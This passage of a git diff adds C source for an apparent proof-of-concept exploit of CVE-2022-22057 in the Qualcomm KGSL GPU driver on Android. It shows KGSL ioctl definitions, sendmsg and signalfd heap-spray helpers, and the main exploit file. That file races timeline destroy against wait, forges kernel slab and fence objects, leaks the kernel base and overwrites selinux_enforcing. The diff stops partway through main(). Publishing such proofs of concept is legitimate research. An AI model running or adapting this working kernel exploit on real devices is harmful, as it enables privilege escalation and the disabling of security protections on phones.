+	_IOW(KGSL_IOC_TYPE, 0x46, struct kgsl_gpuobj_free)
+
+struct dma_buf_sync {
+	__u64 flags;
+};
+
+#define DMA_BUF_SYNC_READ      (1 << 0)
+#define DMA_BUF_SYNC_WRITE     (2 << 0)
+#define DMA_BUF_SYNC_RW        (DMA_BUF_SYNC_READ | DMA_BUF_SYNC_WRITE)
+#define DMA_BUF_SYNC_START     (0 << 2)
+#define DMA_BUF_SYNC_END       (1 << 2)
+#define DMA_BUF_SYNC_VALID_FLAGS_MASK \
+	(DMA_BUF_SYNC_RW | DMA_BUF_SYNC_END)
+
+#define DMA_BUF_BASE		'b'
+#define DMA_BUF_IOCTL_SYNC	_IOW(DMA_BUF_BASE, 0, struct dma_buf_sync)
+
+#define KGSL_MEMFLAGS_FORCE_32BIT 0x100000000ULL
+
+struct kgsl_timeline_create {
+	__u64 seqno;
+	__u32 id;
+/* private: padding for 64 bit compatibility */
+	__u32 padding;
+};
+
+#define IOCTL_KGSL_TIMELINE_CREATE \
+	_IOWR(KGSL_IOC_TYPE, 0x58, struct kgsl_timeline_create)
+
+/**
+ * struct kgsl_timeline_val - A container to store a timeline/sequence number
+ * pair.
+ * @seqno: Sequence number to signal/query
+ * @timeline: The timeline identifier to signal/query
+ *
+ * A container to store a timeline/seqno pair used by the query and signal
+ * ioctls.
+ */
+struct kgsl_timeline_val {
+	__u64 seqno;
+	__u32 timeline;
+/* private: padding for 64 bit compatibility */
+	__u32 padding;
+};
+
+#define KGSL_TIMELINE_WAIT_ALL 1
+#define KGSL_TIMELINE_WAIT_ANY 2
+
+/**
+ * struct kgsl_timeline_wait - Argument for IOCTL_KGSL_TIMELINE_WAIT
+ * @tv_sec: Number of seconds to wait for the signal
+ * @tv_nsec: Number of nanoseconds to wait for the signal
+ * @timelines: Address of an array of &struct kgsl_timeline_val entries
+ * @count: Number of entries in @timeline
+ * @timelines_size: Size of each entry in @timelines
+ * @flags: One of KGSL_TIMELINE_WAIT_ALL or KGSL_TIMELINE_WAIT_ANY
+ *
+ * Wait for the timelines listed in @timelines to be signaled. If @flags is
+ * equal to KGSL_TIMELINE_WAIT_ALL then wait for all timelines or if
+ * KGSL_TIMELINE_WAIT_ANY is specified then wait for any of the timelines to
+ * signal. @tv_sec and @tv_nsec indicates the number of seconds and nanoseconds
+ * that the process should be blocked waiting for the signal.
+ */
+struct kgsl_timeline_wait {
+	__s64 tv_sec;
+	__s64 tv_nsec;
+	__u64 timelines;
+	__u32 count;
+	__u32 timelines_size;
+	__u32 flags;
+/* private: padding for 64 bit compatibility */
+	__u32 padding;
+};
+
+#define IOCTL_KGSL_TIMELINE_WAIT \
+	_IOW(KGSL_IOC_TYPE, 0x59, struct kgsl_timeline_wait)
+
+#define IOCTL_KGSL_TIMELINE_QUERY \
+	_IOWR(KGSL_IOC_TYPE, 0x5A, struct kgsl_timeline_val)
+
+/**
+ * struct kgsl_timeline_signal - argument for IOCTL_KGSL_TIMELINE_SIGNAL
+ * @timelines: Address of an array of &struct kgsl_timeline_val entries
+ * @count: Number of entries in @timelines
+ * @timelines_size: Size of each entry in @timelines
+ *
+ * Signal an array of timelines of type @struct kgsl_timeline_val.
+ */
+struct kgsl_timeline_signal {
+	__u64 timelines;
+	__u32 count;
+	__u32 timelines_size;
+};
+
+#define IOCTL_KGSL_TIMELINE_SIGNAL \
+	_IOW(KGSL_IOC_TYPE, 0x5B, struct kgsl_timeline_signal)
+
+/**
+ * struct kgsl_timeline_fence_get - argument for IOCTL_KGSL_TIMELINE_FENCE_GET
+ * @seqno: Sequence number for the fence
+ * @timeline: Timeline to create the fence on
+ * @handle: Contains the fence fd for a successful operation [out]
+ *
+ * Create a sync file descriptor for the seqnum on the timeline and return it in
+ * @handle.  Can be polled and queried just like any other sync file descriptor
+ */
+struct kgsl_timeline_fence_get {
+	__u64 seqno;
+	__u32 timeline;
+	int handle;
+};
+
+#define IOCTL_KGSL_TIMELINE_FENCE_GET \
+	_IOWR(KGSL_IOC_TYPE, 0x5C, struct kgsl_timeline_fence_get)
+/**
+ * IOCTL_KGSL_TIMELINE_DESTROY takes a u32 identifier for the timeline to
+ * destroy
+ */
+#define IOCTL_KGSL_TIMELINE_DESTROY _IOW(KGSL_IOC_TYPE, 0x5D, __u32)
+
+#endif
diff --git a/SecurityExploits/Android/Qualcomm/CVE-2022-22057/sendmsg_spray.c b/SecurityExploits/Android/Qualcomm/CVE-2022-22057/sendmsg_spray.c
new file mode 100644
index 0000000..7c2e407
--- /dev/null
+++ b/SecurityExploits/Android/Qualcomm/CVE-2022-22057/sendmsg_spray.c
@@ -0,0 +1,187 @@
+#include <err.h>
+#include <errno.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <sys/prctl.h>
+#include <sys/socket.h>
+#include <netinet/in.h>
+#include <netinet/ip.h>
+#include <string.h>
+#include <sys/syscall.h>
+
+#include "sendmsg_spray.h"
+#include "cpu_utils.h"
+
+//Taken from: https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part3.html
+
+int init_realloc_data(char* realloc_data, size_t obj_size, int level, int type) {
+  if (level == 1) err(1, "Level cannot be 1\n");
+  struct cmsghdr *first;
+  
+  // necessary to pass checks in __scm_send()
+  first = (struct cmsghdr*) realloc_data;
+  first->cmsg_len = obj_size;
+  first->cmsg_level = level;
+  first->cmsg_type = type;
+  return 0;  
+}
+
+int init_unix_sockets(struct realloc_thread_arg * rta) {
+  struct timeval tv;
+  static int sock_counter = 0;
+
+  if (((rta->recv_fd = socket(AF_UNIX, SOCK_DGRAM, 0)) < 0) ||
+      ((rta->send_fd = socket(AF_UNIX, SOCK_DGRAM, 0)) < 0))
+  {
+    perror("[-] socket");
+    goto fail;
+  }
+
+  memset(&rta->addr, 0, sizeof(rta->addr));
+  rta->addr.sun_family = AF_UNIX;
+  sprintf(rta->addr.sun_path + 1, "sock_%x_%d", gettid(), ++sock_counter);
+  if (bind(rta->recv_fd, (struct sockaddr*)&rta->addr, sizeof(rta->addr)))
+  {
+    perror("[-] bind");
+    goto fail;
+  }
+
+  if (connect(rta->send_fd, (struct sockaddr*)&rta->addr, sizeof(rta->addr)))
+  {
+    perror("[-] connect");
+    goto fail;
+  }
+
+  memset(&tv, 0, sizeof(tv));
+  if (setsockopt(rta->recv_fd, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv))) {
+    err(1, "setsockopt");
+  }
+
+  return 0;
+fail:
+  printf("[-] failed to initialize UNIX sockets!\n");
+  return -1;
+}
+
+static volatile size_t g_nb_realloc_thread_ready = 0;
+static volatile size_t g_realloc_now[MAX_SENDMSG_BATCH] = {0};
+
+static void* realloc_thread(void *arg)
+{
+  struct realloc_thread_arg *rta = (struct realloc_thread_arg*) arg;
+  struct msghdr mhdr;
+  char buf[200] = {0};
+
+  // initialize msghdr
+  struct iovec iov = {
+    .iov_base = buf,
+    .iov_len = sizeof(buf),
+  };
+  memset(&mhdr, 0, sizeof(mhdr));
+  mhdr.msg_iov = &iov;
+  mhdr.msg_iovlen = 1;
+
+  // the thread should inherit main thread cpumask, better be sure and redo-it!
+  migrate_to_cpu(rta->spray_cpu);
+
+  // make it block
+  while (sendmsg(rta->send_fd, &mhdr, MSG_DONTWAIT) > 0)
+    ;
+  if (errno != EAGAIN)
+  { 
+    perror("[-] sendmsg");
+    goto fail;
+  }
+
+  // use the ancillary data now
+  iov.iov_len = 16;
+  mhdr.msg_control = (void*)(rta->realloc_data); // use the ancillary data buffer
+  mhdr.msg_controllen = rta->object_size;
+
+  g_nb_realloc_thread_ready++;
+  int batch_num = rta->batch_num;
+
+  while (!g_realloc_now[batch_num]) // spinlock until the big GO!
+    ;
+  // the next call should block while "reallocating"
+  if (sendmsg(rta->send_fd, &mhdr, 0) < 0)
+  {
+//    perror("[-] sendmsg");
+    goto fail;
+  }
+  return NULL;
+
+fail:
+//  printf("[-] REALLOC THREAD FAILURE!!!\n");
+  return NULL;
+}
+
+int init_reallocation(struct realloc_thread_arg *rta, size_t nb_reallocs)
+{
+  int thread = 0;
+  int ret = -1;
+
+  if (init_realloc_data(rta->realloc_data, rta->object_size, rta->level, rta->type))
+  {
+    printf("[-] failed to initialize reallocation data!\n");
+    goto fail;
+  }
+  printf("[+] reallocation data initialized!\n");
+
+  printf("[ ] initializing reallocation threads, please wait...\n");
+  for (thread = 0; thread < nb_reallocs; ++thread)
+  {
+    if (init_unix_sockets(&rta[thread]))
+    {
+      printf("[-] failed to init UNIX sockets!\n");
+      goto fail;
+    }
+
+    if ((ret = pthread_create(&rta[thread].tid, NULL, realloc_thread, &rta[thread])) != 0)
+    {
+      perror("[-] pthread_create");
+      goto fail;
+    }
+  }
+
+  while (g_nb_realloc_thread_ready < nb_reallocs)
+    sched_yield();
+
+  printf("[+] %lu reallocation threads ready!\n", nb_reallocs);
+
+  return 0;
+
+fail:
+  printf("[-] failed to initialize reallocation\n");
+  return -1;
+}
+
+void cleanup(struct realloc_thread_arg* rta) {
+  struct msghdr mhdr;
+  int size = 0;
+  while (size >= 0) {
+	if ((size = recvmsg(rta->recv_fd, &mhdr, MSG_DONTWAIT)) < 0) {
+      break;
+	}
+  }
+  close(rta->recv_fd);
+  close(rta->send_fd);
+}
+
+void reset() {
+  for (int i = 0; i < sizeof(g_realloc_now)/sizeof(size_t); i++) {
+    g_realloc_now[i] = 0;
+  }
+  g_nb_realloc_thread_ready = 0;
+}
+
+void realloc_NOW(int interval)
+{
+  for (int i = 0; i < sizeof(g_realloc_now)/sizeof(size_t); i++) {
+    g_realloc_now[i] = 1;
+    usleep(interval);
+  }
+  sched_yield(); // don't run me, run the reallocator threads!
+  sleep(5);
+}
+
diff --git a/SecurityExploits/Android/Qualcomm/CVE-2022-22057/sendmsg_spray.h b/SecurityExploits/Android/Qualcomm/CVE-2022-22057/sendmsg_spray.h
new file mode 100644
index 0000000..aa2c420
--- /dev/null
+++ b/SecurityExploits/Android/Qualcomm/CVE-2022-22057/sendmsg_spray.h
@@ -0,0 +1,32 @@
+#ifndef SENDMSG_SPRAY_H
+#define SENDMSG_SPRAY_H
+#include <sched.h>
+#include <sys/un.h>
+#include <pthread.h>
+#include <unistd.h>
+
+#define MAX_SENDMSG_BATCH 6
+
+struct realloc_thread_arg
+{
+  pthread_t tid;
+  int recv_fd;
+  int send_fd;
+  struct sockaddr_un addr;
+  char* realloc_data;
+  size_t object_size;
+  int spray_cpu;
+  int level;
+  int type;
+  int batch_num;
+};
+
+int init_reallocation(struct realloc_thread_arg *rta, size_t nb_reallocs);
+
+void reset();
+
+void realloc_NOW(int);
+
+void cleanup(struct realloc_thread_arg* rta);
+
+#endif
diff --git a/SecurityExploits/Android/Qualcomm/CVE-2022-22057/signalfd_spray.c b/SecurityExploits/Android/Qualcomm/CVE-2022-22057/signalfd_spray.c
new file mode 100644
index 0000000..3aaea67
--- /dev/null
+++ b/SecurityExploits/Android/Qualcomm/CVE-2022-22057/signalfd_spray.c
@@ -0,0 +1,69 @@
+#include <sys/signalfd.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <err.h>
+#include <errno.h>
+#include <unistd.h>
+
+#include "cpu_utils.h"
+#include "signalfd_spray.h"
+
+void spray_signalfd(uint64_t* mask, int num, int cpu, int* fds) {
+  if (migrate_to_cpu(cpu) == -1) {
+    return;
+  }
+  for (int i = 0; i < num; i++) {
+    int ret = signalfd(-1, (sigset_t*)mask, 0);
+    fds[i] = ret;
+  }
+}
+
+uint64_t read_signalfd_mask(int fd) {
+  char buffer[100] = {0};
+  int size = snprintf(buffer, 100, "/proc/self/fdinfo/%d", fd);
+  if (size < 0 || size >= 100) err(1, "read_signalfd_mask buffer too small\n");
+  FILE* proc_fd = fopen(buffer, "r");
+  if (proc_fd == NULL) {
+    err(1, "fail to open fdinfo\n");
+  }
+  uint64_t x = 0x13371337;
+  while(fscanf(proc_fd, "%*s\t%lx\n", &x) == 1);
+  fclose(proc_fd);
+  return x;
+}
+
+void spray_with_intervals(uint64_t interval, int count, int exclude_cpu_mask, uint64_t* mask, int* fds, int spray_size) {
+  uint64_t offset = 0;
+  for (int i = 0; i < count; i++) {
+    for (int cpu = 0; cpu < CPU_RANGE; cpu++) {
+      if ((1 << cpu) & exclude_cpu_mask) {
+        offset += spray_size;
+        continue;
+      }
+      spray_signalfd(mask, spray_size, cpu, fds + offset);
+      offset += spray_size;
+    }
+    usleep(interval);
+  }
+}
+
+int search_changed_mask(uint64_t expected, int* fds, uint64_t fd_size, uint64_t* new_mask) {
+  for (int i = 0; i < fd_size; i++) {
+    if (fds[i] == -1 || fds[i] == 0) continue;
+    uint64_t this_mask = read_signalfd_mask(fds[i]);
+    if (this_mask != expected) {
+      printf("mask %lx %d\n", this_mask, i);
+      *new_mask = this_mask;
+      return i;
+    }
+  }
+  return -1;
+}
+
+void change_signalfd_mask(uint64_t* mask, int fd) {
+  if (fd == -1) err(1, "fd should not be -1\n");
+  if (signalfd(fd, (sigset_t*)mask, 0) < 0) {
+    err(1, "Failed to change mask\n");
+  }
+
+}
diff --git a/SecurityExploits/Android/Qualcomm/CVE-2022-22057/signalfd_spray.h b/SecurityExploits/Android/Qualcomm/CVE-2022-22057/signalfd_spray.h
new file mode 100644
index 0000000..9caedb8
--- /dev/null
+++ b/SecurityExploits/Android/Qualcomm/CVE-2022-22057/signalfd_spray.h
@@ -0,0 +1,15 @@
+#ifndef SIGNALFD_SPRAY_H
+#define SIGNALFD_SPRAY_H
+
+#define CPU_RANGE 7
+
+void spray_signalfd(uint64_t* mask, int num, int cpu, int* fds);
+
+uint64_t read_signalfd_mask(int fd);
+
+void spray_with_intervals(uint64_t interval, int count, int exclude_cpu_mask, uint64_t* mask, int* fds, int spray_size);
+
+int search_changed_mask(uint64_t expected, int* fds, uint64_t fd_size, uint64_t* new_mask);
+
+void change_signalfd_mask(uint64_t* mask, int fd);
+#endif
diff --git a/SecurityExploits/Android/Qualcomm/CVE-2022-22057/timeline_wait.c b/SecurityExploits/Android/Qualcomm/CVE-2022-22057/timeline_wait.c
new file mode 100644
index 0000000..72ff49c
--- /dev/null
+++ b/SecurityExploits/Android/Qualcomm/CVE-2022-22057/timeline_wait.c
@@ -0,0 +1,799 @@
+#include <err.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/ioctl.h>
+#include <sys/mman.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <unistd.h>
+#include <pthread.h>
+#include <sys/signalfd.h>
+
+#include "sendmsg_spray.h"
+#include "kgsl_ioctl.h"
+#include "signalfd_spray.h"
+#include "cpu_utils.h"
+#include "ion_utils.h"
+#include "fake_obj_util.h"
+#include "addr_utils.h"
+#include "work_queue_utils.h"
+
+static volatile uint32_t timeline_id = 0;
+static volatile uint32_t fd = 0;
+static volatile uint32_t g_unlocked_read = 0;
+static volatile uint32_t g_destroy_now = 0;
+static volatile int pipe_write = 0;
+static volatile int g_finished_read = 0;
+static volatile int g_close_now = 0;
+static volatile int g_signal_now = 0;
+static volatile int g_free_spray_cpu = 0;
+static volatile long wait_start_sec, wait_start_usec;
+
+static struct kgsl_timeline_val timelines[1];
+
+#define SPRAY_CPU 0
+
+#define DESTROY_CPU 1
+
+#define POLL_CPU 4
+
+#define SECOND_POLL_CPU 5
+
+#define OBJECT_SIZE 128
+
+#define NB_REALLOC_THREADS 40
+
+#define NB_DELAY_THREADS 8
+
+#define ENFORCING_OFF 0x32393d4
+
+#define WAIT_QUEUE_HEAD_OFF 0x8
+
+#define ION_HEAP_ID ION_USER_CONTIG_HEAP_ID
+
+#define SZ_1M (1024 * 1024)
+
+#define FAKE_REGION_SIZE (16 * SZ_1M)
+
+#define SIGFD_MASK ((~(1ul << 8)) & (~(1ul << 18)))
+
+#define SLAB_SIZE 96
+
+#define SPRAY_INTERVAL 7500
+
+#define PER_INTERVAL_SPRAY 8
+
+#define CHAIN_SIZE (32 * 64)
+
+#define INTERVAL_COUNT (32)
+
+#define SIGFD1_SPRAY 16
+
+#define BATCH_SIZE 10
+
+#define SIGFD_SPRAY_NUM1 (NB_REALLOC_THREADS * SIGFD1_SPRAY)
+
+#define SIGFD_SPRAY_OVERFLOW 512
+
+#define SIGFD_SPRAY_NUM2 (CPU_RANGE * PER_INTERVAL_SPRAY * INTERVAL_COUNT)
+
+#define SYNC_FILE_NUM 20000
+
+#define ION_DMA_SIZE 1024
+
+static int sigfds[SIGFD_SPRAY_NUM1 + SIGFD_SPRAY_OVERFLOW] = {-1};
+
+static int sigfds2[SIGFD_SPRAY_NUM2] = {-1};
+
+static int syncfds[SYNC_FILE_NUM] = {-1};
+
+static char g_realloc_data[OBJECT_SIZE] = {0};
+
+void* busy_loop(void* arg) {
+  migrate_to_cpu(DESTROY_CPU);
+  while (!g_finished_read);
+  return NULL;
+}
+
+void* keep_spray_cpu_busy(void* arg) {
+  migrate_to_cpu(SPRAY_CPU);
+  while (!g_free_spray_cpu);
+  return NULL;
+}
+
+void* read_pipe(void* arg) {
+  int buffer[80];
+  pthread_t threads[NB_DELAY_THREADS];
+  printf("readpipe start\n");
+  migrate_to_cpu(DESTROY_CPU);
+  int fd = *((int*)arg);
+  read(fd, buffer, sizeof(buffer));
+  g_unlocked_read = 1;
+  close(fd);
+  printf("readpipe\n");
+  for (int i = 0; i < NB_DELAY_THREADS; i++) {
+    pthread_create(&threads[i], NULL, busy_loop, NULL);
+  }
+  while(!g_finished_read);
+  printf("readpipe finished\n");
+
+  return NULL;  
+}
+
+int create_timeline(int fd, int seqno) {
+  struct kgsl_timeline_create create_par = {0};
+  create_par.seqno = seqno;
+  if (ioctl(fd, IOCTL_KGSL_TIMELINE_CREATE, &create_par) < 0) {
+	err(1, "Timeline create failed\n");
+  }
+  return create_par.id;
+}
+
+int timeline_fence_get(int fd, int seqno, int timeline) {
+  struct kgsl_timeline_fence_get fence_get_par = {0};
+  fence_get_par.seqno = seqno;
+  fence_get_par.timeline = timeline;
+  if (ioctl(fd, IOCTL_KGSL_TIMELINE_FENCE_GET, &fence_get_par) < 0) {
+	err(1, "Timeline fence get failed\n");
+  }
+  return fence_get_par.handle;
+}
+
+void sig_func(int sig)
+{
+ printf("Caught signal: %d\n",sig);
+}
+
+void* timeline_wait(void* arg) {
+  struct timeval wait_end;
+  long micros_used, secs_used, timelapsed;
+  migrate_to_cpu(SPRAY_CPU);
+  signal(SIGUSR1,sig_func);
+  printf("timeline_wait start\n");
+  struct kgsl_timeline_wait wait_par = {0};
+  wait_par.flags = KGSL_TIMELINE_WAIT_ANY;
+  wait_par.timelines = (uint64_t)(&timelines[0]);
+  wait_par.timelines_size = 16;
+  wait_par.count = 1;
+  wait_par.tv_sec = 0xffffffff;
+  printf(" wait complete %d\n", ioctl(fd, IOCTL_KGSL_TIMELINE_WAIT, &wait_par));
+  usleep(120000);
+  realloc_NOW(20000);
+  sleep(20);
+  g_finished_read = 1;
+  return NULL;
+}
+
+void* destroy(void* arg) {
+  struct timeval start, end;
+  long micros_used, secs_used, timelapsed;
+  migrate_to_cpu(DESTROY_CPU);
+  while (!g_destroy_now);
+  printf("destroy start\n");
+  if (ioctl(fd, IOCTL_KGSL_TIMELINE_DESTROY, &timeline_id) < 0) {
+    err(1, "destroy failed\n");
+  }
+  printf("destroy finished\n");
+  return NULL;
+}
+
+void close_unused_fds(int* fds, size_t size, int exclude_index) {
+  for (int i = 0; i < size; i++) {
+    if (fds[i] == -1) continue;
+    if (i != exclude_index) {
+      close(fds[i]);
+      fds[i] = -1;
+    }
+  }
+}
+
+void check_fence_space(uint64_t zero_region_vaddr, uint64_t region_vaddr, size_t slab_size) {
+  uint64_t new_mask = (~(region_vaddr)) & SIGFD_MASK;
+  uint64_t new_region_vaddr = ~new_mask;
+  if (new_region_vaddr + 128 * slab_size >= zero_region_vaddr) err(1, "Not enough space for slab\n");
+}
+
+void create_fake_slab(uint8_t* ion_region, int offset, size_t size, uint64_t region_vaddr) {
+  uint64_t* slab_start = (uint64_t*)(ion_region + offset);
+  uint64_t bin_size = 128/sizeof(uint64_t);
+  uint64_t idx = 0;
+  for (int i = 0; i < size; i++) {
+    if (i == size - 1) slab_start[idx] = 0;
+    slab_start[idx] = (region_vaddr + offset + (i + 1) * 128);
+    idx += bin_size;
+  }
+}
+
+int spray_ion_buffer(int ion_fd, size_t num, int cpu_id, int* fds, uint64_t* flags) {
+  struct ion_allocation_data ion_alloc_data = {0};
+  ion_alloc_data.len = 0x1000;
+  ion_alloc_data.heap_id_mask = ION_QSECOM_HEAP_ID;
+  
+  for (int i = 0; i < num; i++) {
+    ion_alloc_data.flags = flags[i];
+    migrate_to_cpu(cpu_id);
+    if (ioctl(ion_fd, ION_IOC_ALLOC, &ion_alloc_data) < 0) {
+      return i;
+    }
+    fds[i] = ion_alloc_data.fd;
+    if ((i + 1) % 64 == 0) usleep(1000);
+  }
+  return num;
+}
+
+int search_ion_buffer(uint8_t* slab_start, size_t slab_size, unsigned long* flags, int* found_dma, int* found_idx, size_t flag_size) {
+  uint8_t* curr = slab_start;
+  int ret = 0;
+  for (int i = 0; i < slab_size; i++) {
+    struct ion_buffer* this_buf = (struct ion_buffer*)curr;
+    for (int flag_idx = 0; flag_idx < flag_size; flag_idx++) {
+      if (this_buf->flags == flags[flag_idx]) {
+        found_dma[flag_idx] = 1;
+        found_idx[i] = 1;
+        ret++;
+        break;
+      }
+    }
+    curr+= 128;
+  }
+  return ret;
+}
+
+uint64_t get_kernel_base(int ion_dma_fd, struct ion_buffer* buffer, uint64_t table_vaddr, uint8_t* table_region, uint64_t heap_addr, uint64_t* heap_region) {
+  uint64_t phys_addr = virt_to_phys_lm(heap_addr);
+  uint64_t offset = phys_addr % 0x1000;
+  patch_ion_buffer(buffer, table_vaddr, table_region, phys_addr, 0x1000);
+  uint64_t len = 0x1000;
+  void* ion_region = mmap(NULL, len, PROT_READ|PROT_WRITE, MAP_SHARED, ion_dma_fd, 0);
+  if (ion_region == MAP_FAILED) {
+    err(1, "get_kernel_base map failed");
+  }
+  uint64_t* addr_ptr = (uint64_t*)(ion_region + offset + ION_HEAP_OPS_OBJ_OFF);
+  *heap_region = (uint64_t)(ion_region + offset);
+  uint64_t heap_ops_addr = *addr_ptr;
+  if (heap_ops_addr == 0) {
+    printf("addr_ptr %p heap_region %p phys_addr %lx\n", addr_ptr, ion_region + offset, phys_addr);
+    return 0;
+  }
+  uint64_t kernel_base = heap_ops_addr - ION_HEAP_OPS_OFF - KERNEL_PHYS_OFF;
+  printf("heap_ops %lx, kernel base: %lx\n", heap_ops_addr, kernel_base);
+  return kernel_base;
+}
+
+int set_enforcing(int ion_dma_fd, struct ion_buffer* buffer, uint64_t table_vaddr, uint8_t* table_region, uint64_t kernel_base, uint64_t* enforcing_region) {
+  uint64_t phys_addr = kernel_base + ENFORCING_OFF;
+  uint64_t offset = phys_addr % 0x1000;
+  patch_ion_buffer(buffer, table_vaddr, table_region, phys_addr, 0x1000);
+  uint64_t len = 0x1000;
+  void* ion_region = mmap(NULL, len, PROT_READ|PROT_WRITE, MAP_SHARED, ion_dma_fd, 0);
+  if (ion_region == MAP_FAILED) {
+    printf("set_enforcing map failed");
+    return -1;
+  }
+  *enforcing_region = (uint64_t)(ion_region + offset);
+  uint8_t* enforcing_ptr = (uint8_t*)(ion_region + offset);
+  enforcing_ptr[0] = 0;
+  printf("set enforcing to permissive\n");
+  char result = '2';
+  sleep(1);
+  int enforce_fd = open("/sys/fs/selinux/enforce", O_RDONLY);
+  read(enforce_fd, &result, 1);
+  close(enforce_fd);
+  if (result == '0') {
+    printf("[+] successfully overwritten selinux_enforcing\n");
+  } else {
+    printf("[-] Failed to overwrite selinux_enforcing\n");
+    return -1;
+  }
+  return 0;
+}
+
+void repair_heap(uint64_t ion_heap, uint64_t ion_heap_vaddr, int* ion_dma_fds, uint64_t* ion_dma_regions, size_t dma_buf_size) {
+  uint64_t* freelist = (uint64_t*)(ion_heap + ION_HEAP_FREELIST_OFF);
+  freelist[0] = ion_heap_vaddr + ION_HEAP_FREELIST_OFF;
+  freelist[1] = ion_heap_vaddr + ION_HEAP_FREELIST_OFF;
+  uint64_t* wait_queue_head = (uint64_t*)(ion_heap + ION_HEAP_WAITQUEUE_OFF + WAIT_QUEUE_HEAD_OFF);
+  wait_queue_head[0] = ion_heap_vaddr + ION_HEAP_WAITQUEUE_OFF + WAIT_QUEUE_HEAD_OFF;
+  wait_queue_head[1] = ion_heap_vaddr + ION_HEAP_WAITQUEUE_OFF + WAIT_QUEUE_HEAD_OFF;
+  
+  uint64_t* flags = (uint64_t*)(ion_heap + ION_HEAP_FLAGS_OFF);
+  flags[0] |= ION_HEAP_FLAG_DEFER_FREE;
+  printf("freeing ion dma fd\n");
+  for (int i = 0; i < dma_buf_size; i++) {
+    close(ion_dma_fds[i]);
+    if (ion_dma_regions[i] != 0) {
+      munmap((void*)page_align(ion_dma_regions[i]), 0x1000);
+    }
+  }
+  freelist[0] = ion_heap_vaddr + ION_HEAP_FREELIST_OFF;
+  freelist[1] = ion_heap_vaddr + ION_HEAP_FREELIST_OFF;
+  printf("finished freeing ion dma fd\n");
+}
+
+int get_ion_dma_fd(int* found_dma, int* ion_dma_fds, int skip, int size) {
+  struct ion_buffer* ion_buf = NULL;
+  int remain_skip = skip;
+  for (int i = 0; i < size; i++) {
+    if (found_dma[i] != 0) {
+      if (remain_skip == 0) {
+        return ion_dma_fds[i];
+      }
+      remain_skip--;
+    }
+  }
+  return -1;
+}
+
+struct ion_buffer* get_ion_buffer(int* found_idx, uint8_t* region_ptr, int skip, int size) {
+  int remain_skip = skip;
+  for (int i = 0; i < size; i++) {
+    if (found_idx[i] != 0) {
+      if (remain_skip == 0) {
+        return (struct ion_buffer*)(region_ptr + i * 128);
+      }
+      remain_skip--;
+    }
+  }
+  return NULL;
+}
+
+int assign_batch_num(int thread_num) {
+  int num_per_batch = NB_REALLOC_THREADS/MAX_SENDMSG_BATCH;
+  int remainder = NB_REALLOC_THREADS % MAX_SENDMSG_BATCH;
+  int extra_threshold = (num_per_batch + 1) * remainder;
+  if (thread_num < extra_threshold) {
+    return thread_num/(num_per_batch + 1);
+  }
+  return (thread_num - extra_threshold)/num_per_batch + remainder;
+}
+
+int main() {
+  setbuf(stdout, NULL);
+  setbuf(stderr, NULL);
+  pthread_t thread1, thread2, thread3;
+
+  int kgsl_fd;
+  struct realloc_thread_arg rta[NB_REALLOC_THREADS];
+
+  int exclude_cpu = check_cpu_affinity();
+  int poll_cpu = exclude_cpu != POLL_CPU ? POLL_CPU : SECOND_POLL_CPU;
+
+  migrate_to_cpu(3);
+
+  kgsl_fd = open("/dev/kgsl-3d0", 0);
+  if (kgsl_fd == -1) {
+    err(1, "cannot open kgsl\n");
+  }
+  fd = kgsl_fd;
+  
+  int ion_fd = open("/dev/ion", 0);
+  if (ion_fd == -1) err(1, "cannot open ion\n");
+
+  timeline_id = create_timeline(fd, 0);
+
+  struct kgsl_timeline_val val = {0};
+  val.timeline = timeline_id;
+  val.seqno = 10;
+  timelines[0] = val;
+
+  for (int i = 0; i < SYNC_FILE_NUM; i++) {
+    syncfds[i] = timeline_fence_get(fd, 10, timeline_id);
+  }
+ 
+  for (int i = 0; i < OBJECT_SIZE; i++) {
+    g_realloc_data[i] = i;
+  }
+
+  struct dma_fence* fence = (struct dma_fence*)(&(g_realloc_data[0]));
+  fence->flags = 1;
+  fence->refcount = 1;
+
+  size_t heap_size = ion_heap_size(ION_HEAP_ID);
+  if (heap_size < FAKE_REGION_SIZE) err(1, "heap_size smaller than FAKE_REGION_SIZE %lu\n", heap_size);
+  heap_size = FAKE_REGION_SIZE;
+  if (heap_size % 0x1000 != 0) err(1, "heap_size not page aligned\n");
+  uint8_t* ion_region = (uint8_t*)spray_ion_heap(ION_HEAP_ID, heap_size);
+  if (ion_region == NULL) err(1, "Out of memory in reserved pool.\n");
+  
+  uint64_t region_vaddr = ion_heap_phys_addr(ION_HEAP_ID) - PHYS_TO_VIRT_OFF;
+
+  region_vaddr += (ion_heap_size(ION_HEAP_ID) - FAKE_REGION_SIZE)/2;
+  uint64_t fence_off = fill_ion_heap(ion_region, CHAIN_SIZE, heap_size, region_vaddr);
+  uint64_t fence_kstart = region_vaddr + fence_off;
+  uint64_t zero_region_vaddr = fence_kstart - ZERO_FILL_SZ;
+
+  printf("region start addr: %lx\n", region_vaddr);
+  printf("fence kernel addr: %lx %d\n", fence_kstart, ion_region[fence_off + (CHAIN_SIZE - 1)* 128 + 0x8]);
+
+  check_fence_space(zero_region_vaddr, SLAB_SIZE, region_vaddr);
+  uint64_t new_mask = (~(region_vaddr)) & SIGFD_MASK;
+  uint64_t region_offset = ~(new_mask) - region_vaddr;
+  create_fake_slab(ion_region, region_offset, SLAB_SIZE, region_vaddr);
+  printf("created fake slab at %lx\n", ~new_mask);
+
+  struct kgsl_timeline_fence* tfence = (struct kgsl_timeline_fence*)(&(g_realloc_data[0]));
+  tfence->node.next = fence_kstart + NODE_OFF;
+  memset(rta, 0, sizeof(rta));
+  for (int i = 0; i < NB_REALLOC_THREADS; i++) {
+    rta[i].realloc_data = &(g_realloc_data[0]);
+    rta[i].object_size = OBJECT_SIZE;
+    rta[i].spray_cpu = SPRAY_CPU;
+    rta[i].level = (uint32_t)((zero_region_vaddr << 32) >> 32);
+    rta[i].type = (uint32_t)(zero_region_vaddr >> 32);
+    rta[i].batch_num = assign_batch_num(i);
+  }
+
+  uint64_t cb_list = 0;
+  void* fence_start = ion_region + fence_off;
+  uint64_t mask2 = 0x4041;
+  uint64_t per_interval_spray = PER_INTERVAL_SPRAY;
+
+  if (init_reallocation(rta, NB_REALLOC_THREADS)) {
+    err(1, "[-] failed to initialize reallocation!\n");
+  }
+
